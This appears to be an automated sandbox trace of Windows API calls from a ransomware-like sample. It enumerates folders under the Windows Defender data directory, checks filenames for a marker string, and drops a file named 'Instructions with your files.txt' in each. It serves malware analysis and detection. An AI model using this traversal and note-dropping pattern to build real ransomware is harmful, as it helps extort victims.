[0131.912] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f73140, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f73140, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f73140, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.912] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Instructions with your files.txt") returned 82
[0131.912] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.912] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1
[0131.912] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned 59
[0131.912] GetProcessHeap () returned 0x810000
[0131.912] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.912] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*") returned 61
[0131.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.913] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\.") returned 61
[0131.913] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35a1680, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.913] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\..") returned 62
[0131.913] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb35a1680, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35c77e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.913] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\Instructions with your files.txt") returned 92
[0131.913] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.913] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb35a1680, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb35a1680, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35c77e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.913] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\Instructions with your files.txt") returned 92
[0131.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\localcopy\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.913] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.914] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.916] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.916] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.916] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.916] CloseHandle (hObject=0x114) returned 1
[0131.916] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.916] GetProcessHeap () returned 0x810000
[0131.916] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.916] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35c77e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35c77e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1
[0131.916] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned 60
[0131.916] GetProcessHeap () returned 0x810000
[0131.916] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.916] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*") returned 62
[0131.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35c77e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35c77e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.916] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\.") returned 62
[0131.916] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb35c77e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35c77e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.916] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\..") returned 63
[0131.917] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb35c77e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb35c77e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35c77e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.917] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\Instructions with your files.txt") returned 93
[0131.917] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.917] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb35c77e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb35c77e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35c77e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.917] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\Instructions with your files.txt") returned 93
[0131.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.917] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.918] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.918] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.918] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.918] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.918] CloseHandle (hObject=0x114) returned 1
[0131.918] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.918] GetProcessHeap () returned 0x810000
[0131.918] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.918] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f4cfe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f4cfe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1
[0131.918] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned 55
[0131.918] GetProcessHeap () returned 0x810000
[0131.918] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.918] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*") returned 57
[0131.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f4cfe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f4cfe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.918] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\.") returned 57
[0131.919] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f4cfe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f4cfe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.919] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\..") returned 58
[0131.919] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb3d83f60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3d83f60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
[0131.919] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned 63
[0131.919] GetProcessHeap () returned 0x810000
[0131.919] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.919] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*") returned 65
[0131.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb3d83f60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3d83f60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.919] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\.") returned 65
[0131.919] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb3d83f60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3d83f60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.919] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\..") returned 66
[0131.919] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb35ed940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35ed940, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CacheManager", cAlternateFileName="CACHEM~1")) returned 1
[0131.919] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned 76
[0131.919] GetProcessHeap () returned 0x810000
[0131.919] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.919] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*") returned 78
[0131.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb35ed940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35ed940, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.919] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\.") returned 78
[0131.919] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb35ed940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35ed940, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.919] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\..") returned 79
[0131.919] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb35ed940, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb35ed940, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb35ed940, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.919] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\Instructions with your files.txt") returned 109
[0131.919] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.919] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 1
[0131.919] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin") returned 86
[0131.919] StrStrIW (lpFirst="MpSfc.bin", lpSrch="SDfghjkl") returned 0x0
[0131.919] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc0a7e0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xcfc0a7e0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xcfc30940, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x33b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSfc.bin", cAlternateFileName="")) returned 0
[0131.920] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\Instructions with your files.txt") returned 109
[0131.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.920] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.921] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.921] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.921] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.921] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.921] CloseHandle (hObject=0x11c) returned 1
[0131.921] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.921] GetProcessHeap () returned 0x810000
[0131.921] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.921] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3be1040, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3be1040, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f00d20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
